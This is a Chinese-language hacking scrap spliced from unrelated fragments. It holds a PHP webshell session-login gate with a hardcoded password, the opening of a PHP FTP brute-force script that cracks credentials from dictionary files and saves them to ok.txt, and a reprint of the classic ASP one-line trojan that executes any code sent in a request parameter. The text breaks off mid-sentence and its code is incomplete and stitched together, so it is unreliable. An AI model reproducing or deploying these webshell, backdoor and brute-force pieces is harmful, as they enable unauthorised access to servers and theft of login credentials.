好像很多phpwebshell登陆口都是用的cookie，改写一个session的试一下。

<?php
$adminpass="1"; //管理密码
session_start();
set_time_limit(0);
$password=$_POST['password'];

if(isset($password))
{
session_register("okpwd");
$_SESSION['okpwd']=$password;
}

if($_SESSION['okpwd']!==$adminpass)
{
?>

<form method=post action=''>
密码 <input type=password name=password>
<input type=submit value=登陆>

<?php
//用法：php 本文件.php FTP的IP 端口 用户字典 密码字典，示例：php ftp.php 192.168.8.10 21 user.dic pass.dic。可以自己改动sleep里的秒数，暴破成功后用户名和密码保存在同目录下的ok.txt。

//分别取不同用户名和N个密码对应
$user=file($_SERVER["argv"][3]);
$pass=file($_SERVER["argv"][4]);
$countuser=count($user);
$countpass=count($pass);

软件作者：kj021320
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）


首先回顾一下以前ASP一句话的经典木马吧！

<%if request("nonamed")<>"" then execute request("nonamed")%>

VBS中execute就是动态运行指定的代码而JSCRIPT中也同样有eval函数可以实现,也就是说ASP一句话木马也有个版本是采用JSCRIPT的 eval的！网上也有例子我就不多说了！.....

然后解析语言终究